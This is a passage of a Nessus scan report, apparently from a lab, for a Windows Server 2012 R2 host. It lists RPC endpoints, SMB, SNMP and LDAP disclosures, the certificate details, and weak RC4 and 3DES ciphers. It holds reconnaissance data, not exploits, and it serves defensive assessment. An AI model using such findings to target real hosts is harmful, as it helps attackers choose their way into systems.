Type : Remote RPC service
TCP Port : 1032
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 1032
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 1032
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 1032
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76f03f96-cdfd-44fc-a22c-64950a001209, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 1032
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1038		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1038 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Remote RPC service
TCP Port : 1038
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Remote RPC service
TCP Port : 1038
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Remote RPC service
TCP Port : 1038
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Remote RPC service
TCP Port : 1038
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1042		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1042 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
Description : Service Control Manager
Windows process : svchost.exe
Type : Remote RPC service
TCP Port : 1042
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1048		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1048 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 50abc2a4-574d-40b3-9d66-ee4fd5fba076, version 5.0
Description : DNS Server
Windows process : dns.exe
Type : Remote RPC service
TCP Port : 1048
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1049		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1049 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
Description : Unknown RPC service
Annotation : Remote Fw APIs
Type : Remote RPC service
TCP Port : 1049
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1067		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1067 :

Object UUID : 5bc1ed07-f5f5-485f-9dfd-6fd0acf9a23c
UUID : 897e2e5f-93f3-4376-9c9c-fd2277495c27, version 1.0
Description : Unknown RPC service
Annotation : Frs2 Service
Type : Remote RPC service
TCP Port : 1067
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		2103		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 2103 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Remote RPC service
TCP Port : 2103
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Remote RPC service
TCP Port : 2103
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Remote RPC service
TCP Port : 2103
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Remote RPC service
TCP Port : 2103
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		2105		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 2105 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Remote RPC service
TCP Port : 2105
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Remote RPC service
TCP Port : 2105
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Remote RPC service
TCP Port : 2105
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Remote RPC service
TCP Port : 2105
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		2107		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 2107 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Remote RPC service
TCP Port : 2107
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Remote RPC service
TCP Port : 2107
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Remote RPC service
TCP Port : 2107
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Remote RPC service
TCP Port : 2107
IP : 10.0.2.10

		None

		10761						None		10.0.2.10		tcp		1030		COM+ Internet Services (CIS) Server Detection		A COM+ Internet Services (CIS) server is listening on this port.		COM+ Internet Services are RPC over HTTP tunneling and require IIS to
operate.  CIS ports shouldn't be visible on internet but only behind a
firewall.		If you do not use this service, disable it with DCOMCNFG. 

Otherwise, limit access to this port.		http://www.nessus.org/u?d02f7e6e
https://support.microsoft.com/en-us/support/kb/articles/q282/2/61.asp		
Server banner :

ncacn_http/1.0		None

		10785						None		10.0.2.10		tcp		445		Microsoft Windows SMB NativeLanManager Remote System Information Disclosure		It was possible to obtain information about the remote operating
system.		Nessus was able to obtain the remote operating system name and version
(Windows and/or Samba) by sending an authentication request to port
139 or 445. Note that this plugin requires SMB to be enabled on the
host.		n/a				The remote Operating System is : Windows Server 2012 R2 Datacenter Evaluation 9600
The remote native LAN manager is : Windows Server 2012 R2 Datacenter Evaluation 6.3
The remote SMB Domain Name is : ACCB6000
		None

		10800						None		10.0.2.10		udp		161		SNMP Query System Information Disclosure		The System Information of the remote host can be obtained via SNMP.		It is possible to obtain the system information about the remote
host by sending SNMP requests with the OID 1.3.6.1.2.1.1.1.

An attacker may use this information to gain more knowledge about
the target host.		Disable the SNMP service on the remote host if you do not use it,
or filter incoming UDP packets going to this port.				System information :
 sysDescr     : Hardware: Intel64 Family 6 Model 158 Stepping 9 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 9600 Multiprocessor Free)
 sysObjectID  : 1.3.6.1.4.1.311.1.1.3.1.3
 sysUptime    : 0d 0h 3m 21s
 sysContact   : 
 sysName      : Server2012.ACCB6000.com
 sysLocation  : 
 sysServices  : 76

		None

		10863						None		10.0.2.10		tcp		3389		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Common Name: Server2012.ACCB6000.com

Issuer Name: 

Common Name: Server2012.ACCB6000.com

Serial Number: 29 7D 4B 30 9F 86 B5 B0 41 F6 45 8D 8E 5B 91 60 

Version: 3

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Nov 21 11:24:20 2022 GMT
Not Valid After: May 23 11:24:20 2023 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 E0 5A 2E B5 52 E8 7C CB C9 59 B0 29 FD 0C 84 1B 85 FC E1 
            63 BC 76 DC 5B 84 C9 64 77 00 75 C3 74 03 AC B4 FA 0C F4 EC 
            26 AB CA 5A 53 EE 44 80 2E 4B 74 F7 89 EA 30 9B 90 25 08 E5 
            F9 2B 72 01 9D 6A 9B 48 91 A6 34 97 B0 58 30 1E B6 A2 F7 E8 
            59 F2 80 00 58 C5 16 BE FD CB 7B F4 DB FD 32 68 43 87 EA 4A 
            24 71 29 4E 5F 1B BF 97 C8 AD 35 0E 21 04 A3 99 3D 3D 01 5C 
            FB 2B BB 6C 23 F2 F6 9F E0 9D 5C 8A 52 B6 22 AC DD CD 3F 7B 
            8B 03 0F 24 67 CE 6F 43 A7 7D FC 1F DF F8 86 A3 92 53 82 4F 
            F1 D2 B8 31 2D 9E 7C AC 69 AE 4B D0 7A 1E AE B7 B1 62 1D 71 
            C9 1E 2B 0E 44 BA 2A 44 0B 9F ED EC D6 09 D8 05 DA 4D 8E 21 
            B1 9A 78 21 B2 A1 52 C1 4A 5F 64 3F FB A5 37 7A 73 A0 2C 8D 
            4F E6 0B 8A FB EE EA B3 F7 F3 D0 5F 46 94 F7 26 B7 93 6D C3 
            C5 B5 7F 36 A3 36 78 98 7C 40 79 90 F8 4B 6F 6D 65 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 DF 95 1D 04 3C 3E A4 9E 0B A1 E3 AB 5C B8 55 86 8D 57 DE 
           B5 2C B9 1B A1 34 20 41 E0 55 A9 91 FA F3 C5 9E 8B D9 0F 9D 
           74 00 17 63 A4 CD 44 DF 17 B4 E5 DA C3 B0 D7 67 4F 4B 81 0F 
           A3 87 34 76 13 2A F5 F4 1D 8E 0D 93 E9 62 5F AC 6E BF 3F F6 
           C0 D3 18 5C D1 57 38 53 19 C7 54 43 9A D3 7C 60 D4 83 53 FF 
           AD 59 65 19 98 38 D6 B5 8B F2 92 04 EF 89 59 96 0B D9 C8 7D 
           C7 16 20 9A 5E FF 2A B2 FC E5 1C CD 0E 8A 79 8E 03 9A F1 78 
           75 55 93 68 C8 DF 4A 7D C8 B2 ED B4 ED 5E D1 09 3B 56 4F 0F 
           3F 3D D5 99 BA 8B 56 11 6E D8 66 88 30 16 44 DA 5A E8 C7 56 
           D2 F3 F8 0B 6A 32 AB 0E 3A FB 12 AE 4D 4A 00 C2 80 F3 0A 38 
           47 60 50 3D 9D 5D A6 50 19 54 99 08 CE F3 D4 C9 47 CA 33 21 
           3C 13 FE 5E 51 44 3B FC 1A 9A A2 B3 9C 3F 18 29 19 9A 33 CF 
           E1 9D 94 3E 16 8C 16 1E BF 3E C8 33 F9 6C 73 6A AE 

Extension: Extended Key Usage (2.5.29.37)
Critical: 0
Purpose#1: Web Server Authentication (1.3.6.1.5.5.7.3.1)


Extension: Key Usage (2.5.29.15)
Critical: 0
Key Usage: Key Encipherment, Data Encipherment


Fingerprints : 

SHA-256 Fingerprint: 00 34 A5 9E E2 EA 2D 4B 1D 29 1E F7 64 63 D9 85 CE BB F7 9B 
                     D6 E4 57 6B 03 49 29 E0 95 13 66 E1 
SHA-1 Fingerprint: C8 ED BD BF 75 FF 55 6B 88 C9 71 4C BB 42 31 1A 6F 88 7A F2 
MD5 Fingerprint: DC 2B 9C C1 08 E4 8A D5 BB 1F D5 3E 0E 49 74 9D 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----		None

		10884						None		10.0.2.10		udp		123		Network Time Protocol (NTP) Server Detection		An NTP server is listening on the remote host.		An NTP server is listening on port 123. If not securely configured,
it may provide information about its version, current date, current
time, and possibly system information.		n/a		http://www.ntp.org		
  An NTP service has been discovered, listening on port 123.

  No sensitive information has been disclosed.

  Version : unknown
		None

		11002						None		10.0.2.10		tcp		53		DNS Server Detection		A DNS server is listening on the remote host.		The remote service is a Domain Name System (DNS) server, which
provides a mapping between hostnames and IP addresses.		Disable this service if it is not needed or restrict access to
internal hosts only if the service is available externally.		https://en.wikipedia.org/wiki/Domain_Name_System				None

		11002						None		10.0.2.10		udp		53		DNS Server Detection		A DNS server is listening on the remote host.		The remote service is a Domain Name System (DNS) server, which
provides a mapping between hostnames and IP addresses.		Disable this service if it is not needed or restrict access to
internal hosts only if the service is available externally.		https://en.wikipedia.org/wiki/Domain_Name_System				None

		11011						None		10.0.2.10		tcp		139		Microsoft Windows SMB Service Detection		A file / print sharing service is listening on the remote host.		The remote service understands the CIFS (Common Internet File System)
or Server Message Block (SMB) protocol, used to provide shared access
to files, printers, etc between nodes on a network.		n/a				
An SMB server is running on this port.
		None

		11011						None		10.0.2.10		tcp		445		Microsoft Windows SMB Service Detection		A file / print sharing service is listening on the remote host.		The remote service understands the CIFS (Common Internet File System)
or Server Message Block (SMB) protocol, used to provide shared access
to files, printers, etc between nodes on a network.		n/a				
A CIFS server is running on this port.
		None

		11936						None		10.0.2.10		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Microsoft Windows Server 2012 R2 Datacenter
Confidence level : 99
Method : MSRPC

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

SNMP:!:Hardware: Intel64 Family 6 Model 158 Stepping 9 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 9600 Multiprocessor Free)
NTP:!:unknown
HTTP:Server: Microsoft-HTTPAPI/2.0


SinFP:!:
   P1:B11113:F0x12:W8192:O0204ffff:M1460:
   P2:B11113:F0x12:W8192:O0204ffff010303080402080affffffff44454144:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:190400_7_p=1025
SSLcert:!:i/CN:Server2012.ACCB6000.coms/CN:Server2012.ACCB6000.com
c8edbdbf75ff556b88c9714cbb42311a6f887af2


 
The remote host is running Microsoft Windows Server 2012 R2 Datacenter		None

		12053						None		10.0.2.10		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
10.0.2.10 resolves as Server2012.
		None

		19506						None		10.0.2.10		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - The ping round trip time 
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 10.4.1
Nessus build : 20091
Plugin feed version : 202212290946
Scanner edition used : Nessus
Scanner OS : WINDOWS
Scanner distribution : win-x86-64
Scan type : Normal
Scan name : Scan
Scan policy used : Scan
Scanner IP : 10.0.2.9
Port scanner(s) : snmp_scanner 
Port range : default
Ping RTT : Unavailable
Thorough tests : no
Experimental tests : no
Plugin debugging enabled : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 5
Recv timeout : 5
Backports : None
Allow post-scan editing : Yes
Scan Start Date : 2022/12/30 10:55 GMT Standard Time
Scan duration : 1075 sec
		None

		20870						None		10.0.2.10		tcp		389		LDAP Server Detection		An LDAP server was detected on the remote host.		The remote host is running a Lightweight Directory Access Protocol
(LDAP) server. LDAP is a protocol for providing access to directory
services over TCP/IP.		n/a		https://en.wikipedia.org/wiki/LDAP				None

		20870						None		10.0.2.10		tcp		3268		LDAP Server Detection		An LDAP server was detected on the remote host.		The remote host is running a Lightweight Directory Access Protocol
(LDAP) server. LDAP is a protocol for providing access to directory
services over TCP/IP.		n/a		https://en.wikipedia.org/wiki/LDAP				None

		21643						None		10.0.2.10		tcp		3389		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.0.2/man1/ciphers.html
http://www.nessus.org/u?e17ffced		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv12
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DHE-RSA-AES128-SHA256         0x00, 0x9E       DH            RSA      AES-GCM(128)           SHA256
    DHE-RSA-AES256-SHA384         0x00, 0x9F       DH            RSA      AES-GCM(256)           SHA384
    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           SHA256
    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-GCM(256)           SHA384
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256


SSL Version : TLSv11
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1


SSL Version : TLSv1
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}

Note that this service does not encrypt traffic by default but does
support upgrading to an encrypted connection using STARTTLS.
		None

		21745						None		10.0.2.10		tcp		0		OS Security Patch Assessment Failed		Errors prevented OS Security Patch Assessment.		OS Security Patch Assessment is not available for this host because
either the credentials supplied in the scan policy did not allow
Nessus to log into it or some other problem occurred.		Fix the problem(s) so that OS Security Patch Assessment is possible.				
The following service errors were logged :

  - Plugin      : smb_login.nasl
    Plugin ID   : 10394
    Plugin Name : Microsoft Windows SMB Log In Possible
    Protocol    : SMB
    Message     : 
It was not possible to log into the remote host via smb (invalid credentials).
		None

		22964						None		10.0.2.10		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.		None

		22964						None		10.0.2.10		tcp		593		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An http-rpc-epmap is running on this port.		None

		22964						None		10.0.2.10		tcp		636		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.		None

		22964						None		10.0.2.10		tcp		1030		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An ncacn_http server is running on this port.		None

		22964						None		10.0.2.10		tcp		3269		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.		None

		22964						None		10.0.2.10		tcp		5985		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.		None

		22964						None		10.0.2.10		tcp		47001		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.		None

		24260						None		10.0.2.10		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: text/html; charset=us-ascii
  Server: Microsoft-HTTPAPI/2.0
  Date: Fri, 30 Dec 2022 10:58:26 GMT
  Connection: close
  Content-Length: 315
  
Response Body :

		None

		24260						None		10.0.2.10		tcp		5985		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: text/html; charset=us-ascii
  Server: Microsoft-HTTPAPI/2.0
  Date: Fri, 30 Dec 2022 10:58:26 GMT
  Connection: close
  Content-Length: 315
  
Response Body :

		None

		24260						None		10.0.2.10		tcp		47001		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: text/html; charset=us-ascii
  Server: Microsoft-HTTPAPI/2.0
  Date: Fri, 30 Dec 2022 10:58:26 GMT
  Connection: close
  Content-Length: 315
  
Response Body :

		None

		24786						None		10.0.2.10		tcp		0		Nessus Windows Scan Not Performed with Admin Privileges		The Nessus scan of this host may be incomplete due to insufficient
privileges provided.		The Nessus scanner testing the remote host has been given SMB
credentials to log into the remote host, however these credentials do
not have administrative privileges. 

Typically, when Nessus performs a patch audit, it logs into the remote
host and reads the version of the DLLs on the remote host to determine
if a given patch has been applied or not.  This is the method Microsoft
recommends to determine if a patch has been applied. 

If your Nessus scanner does not have administrative privileges when
doing a scan, then Nessus has to fall back to perform a patch audit
through the registry which may lead to false positives (especially when
using third-party patch auditing tools) or to false negatives (not all
patches can be detected through the registry).		Reconfigure your scanner to use credentials with administrative
privileges.				
It was not possible to connect to '\\SERVER2012\ADMIN$' with the supplied credentials.
		None

		25220						None		10.0.2.10		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt				None

		25701						None		10.0.2.10		tcp		389		LDAP Crafted Search Request Server Information Disclosure		It is possible to discover information about the remote LDAP server.		By sending a search request with a filter set to 'objectClass=*', it
is possible to extract information about the remote LDAP server.		n/a				[+]-namingContexts:
   |  DC=ACCB6000,DC=com
   |  CN=Configuration,DC=ACCB6000,DC=com
   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com
   |  DC=DomainDnsZones,DC=ACCB6000,DC=com
   |  DC=ForestDnsZones,DC=ACCB6000,DC=com
[+]-currentTime:
   |  20221230105800.0Z
[+]-subschemaSubentry:
   |  CN=Aggregate,CN=Schema,CN=Configuration,DC=ACCB6000,DC=com
[+]-dsServiceName:
   |  CN=NTDS Settings,CN=SERVER2012,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=ACCB6000,DC=com
[+]-namingContexts:
   |  DC=ACCB6000,DC=com
   |  CN=Configuration,DC=ACCB6000,DC=com
   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com
   |  DC=DomainDnsZones,DC=ACCB6000,DC=com
